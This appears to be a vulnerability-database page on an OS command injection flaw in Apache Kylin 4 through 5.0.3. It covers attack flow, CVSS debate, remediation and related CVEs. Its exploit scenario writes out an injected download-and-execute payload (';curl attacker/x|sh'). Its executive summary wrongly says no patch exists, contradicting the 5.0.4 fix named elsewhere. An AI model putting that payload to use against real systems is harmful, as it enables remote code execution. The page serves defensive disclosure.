GHSA-vv75-pcv7-p758
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessReach Kylin backend API over network
-
DeliverySubmit job config with injected shell metacharacters
-
ExploitParameter passed unsanitized to OS command line
-
ExecutionOS executes injected command as Kylin service account
-
ImpactFull host/cluster compromise
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires reachability to the Apache Kylin backend API that accepts job configuration parameters and the ability to supply or influence a job/build config value that is subsequently passed to the OS command line on a Kylin instance running an affected version (4 through 5.0.3). The vendor CVSS rates this AV:N/AC:L/PR:N/UI:N, implying no authentication or user interaction against a network-reachable instance; however the description's reliance on 'job config parameters' via a 'backend API' suggests that in practice an attacker likely needs the ability to submit or edit a job configuration, which in default deployments is an authenticated, privileged operator action - this limiting factor should be confirmed against the vendor advisory. Limiting factors that reduce real-world risk: the Kylin API must be network-accessible to the attacker (deployments that firewall the management interface to trusted networks are largely protected), and the target must run version 4 through 5.0.3. |
| Impact | The vendor CVSS 3.1 base score is 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), indicating remote, low-complexity, unauthenticated exploitation with full host impact. However, there is a plausible tension between the CVSS PR:N rating and the description, which states the injection occurs via 'job config parameters' reaching a 'backend API' - in typical Kylin deployments, submitting or editing a job/cube configuration requires an authenticated operator with build privileges, which would argue for PR:L rather than PR:N; verify the exact API's authentication requirements with the vendor advisory. There is no EPSS score provided, no SSVC decision data, no POC, and no CISA KEV listing, so despite the critical CVSS this should currently be treated as high-priority-to-patch but without evidence of active or automated exploitation. The combination of CWE-78 with a network-facing management API is inherently dangerous, so the primary driver of urgency is the ease of code execution once the API is reachable, not confirmed in-the-wild activity. |
| Exploit ScenarioDerived | An attacker who can reach the Kylin backend API crafts a job/cube configuration parameter containing embedded shell metacharacters (for example appending ';curl attacker/x|sh'). When Kylin constructs the OS command line for that job, the injected commands execute on the host with the Kylin service account's privileges, giving the attacker code execution and a foothold in the analytics cluster. No public exploit is identified at time of analysis, but the low attack complexity makes a working exploit straightforward to develop. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – Jul 14, 2026
OS command injection in Apache Kylin (versions 4 through 5.0.3) allows attackers to execute arbitrary operating-system commands by supplying malicious job configuration parameters that a backend API passes unsanitized to the OS command line. Because Kylin runs as a distributed analytics engine, successful exploitation yields full host compromise with the privileges of the Kylin service account. Per the vendor CVSS (AV:N/PR:N), the flaw is scored as network-reachable and unauthenticated with high impact across confidentiality, integrity, and availability; no public exploit is identified at time of analysis, and it is not listed in CISA KEV.
Earlier versions of this analysis (1)
OS command injection in Apache Kylin's Async Query API enables authenticated users to execute arbitrary operating system commands on the server by embedding shell metacharacters in job configuration parameters. All Apache Kylin deployments running versions 4 through 5.0.3 are affected across both the Job Engine and Query Engine components. No public exploit code or active CISA KEV listing has been identified at time of analysis; a confirmed vendor fix is available in version 5.0.4.
RemediationAI
Vendor-released patch: upgrade to Apache Kylin 5.0.4, which fixes the OS command injection; this is the primary and recommended remediation for all installations running versions 4 through 5.0.3. Consult the Apache advisory (https://seclists.org/oss-sec/2026/q3/135) and KYLIN-6091 (https://issues.apache.org/jira/browse/KYLIN-6091) for authoritative fix details. If immediate upgrade is not possible, restrict network access to the Kylin backend/management API so it is reachable only from trusted administrative networks or via VPN (trade-off: legitimate remote operators lose direct access), enforce strong authentication and least-privilege on accounts that can create or edit job/cube configurations (trade-off: none significant beyond administrative overhead), and monitor Kylin process execution and job-config inputs for shell metacharacters or unexpected child processes (trade-off: detective control only, does not prevent exploitation). These are compensating controls; only the 5.0.4 upgrade removes the underlying flaw.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Apache Kylin is an open-source distributed analytics/OLAP engine (cpe:2.3:a:apache:kylin) that builds and manages cubes over big-data sources such as Hive and HBase/Spark, driving these through backend build/query jobs. The vulnerability is a CWE-78 (Improper Neutralization of Special Elements used in an OS Command) issue: a backend API takes job configuration parameters and incorporates them directly into an OS command line without proper neutralization of shell metacharacters. This means values that should be inert configuration data (a job/build parameter) are interpreted by the shell, so characters like ';', '|', '`', or '$()' let an attacker append or inject additional commands executed by the underlying operating system.
Know when Kylin gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Network-reachable API with low-complexity command injection, but submitting job/config parameters typically requires an authenticated operator, so PR:L rather than PR:N; full C/I/A impact from OS command execution.
Primary rating from NVD.
CVSS VectorNVD
Lifecycle Timeline
3Description PRE-NVD
Articles & Coverage 1
Executive ViewAI
Apache Kylin 4.0-5.0.3 (analytics engine) can be completely compromised by unauthenticated attackers with a single network request, allowing full host takeover and data theft. Organizations running these versions face immediate infrastructure control loss without a vendor patch currently available. The absence of remediation options makes urgent interim mitigation critical.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict Kylin API network access to internal-only via firewall/segmentation; (2) Deploy WAF rules to detect and block malformed job configuration parameters; (3) Disable or restrict external API exposure if operationally feasible; (4) Implement process-level monitoring and logging to detect suspicious command execution; (5) Run Kylin with minimal privileges (non-root service account) to limit compromise scope.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Related Vulnerabilities in Apache Kylin Remote Code and Auth Vulnerabilities
View all 3Similar to CVE-2020-1956, Kylin has one more restful API which concatenates the API inputs into OS commands and then exe
Apache Kylin 2.3.0, and releases up to 2.6.5 and 3.0.1 has some restful apis which will concatenate os command with the
Diagnosis Controller miss parameter validation, so user may attacked by command injection via HTTP Request. Rated critic
Kylin's cube designer function has a command injection vulnerability when overwriting system parameters in the configura
Kylin concatenates and executes a Hive SQL in Hive CLI or beeline when building a new segment; some part of the HQL is f
Apache Kylin 2.0.0, 2.1.0, 2.2.0, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1, 2.5.0, 2.5.1, 2.5.2, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.
Session Fixation vulnerability in Apache Kylin.0.0 through 4.x. Rated critical severity (CVSS 9.1), this vulnerability i
In the fix for CVE-2022-24697, a blacklist is used to filter user input commands. Rated high severity (CVSS 8.8), this v
Kylin has some restful apis which will concatenate SQLs with the user input string, a user is likely to be able to run m
Authentication Bypass Using an Alternate Path or Channel vulnerability in Apache Kylin. This issue affects Apache Kylin
Files or Directories Accessible to External Parties vulnerability in Apache Kylin. You are fine as long as the Kylin's
EUVD-2026-43664
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB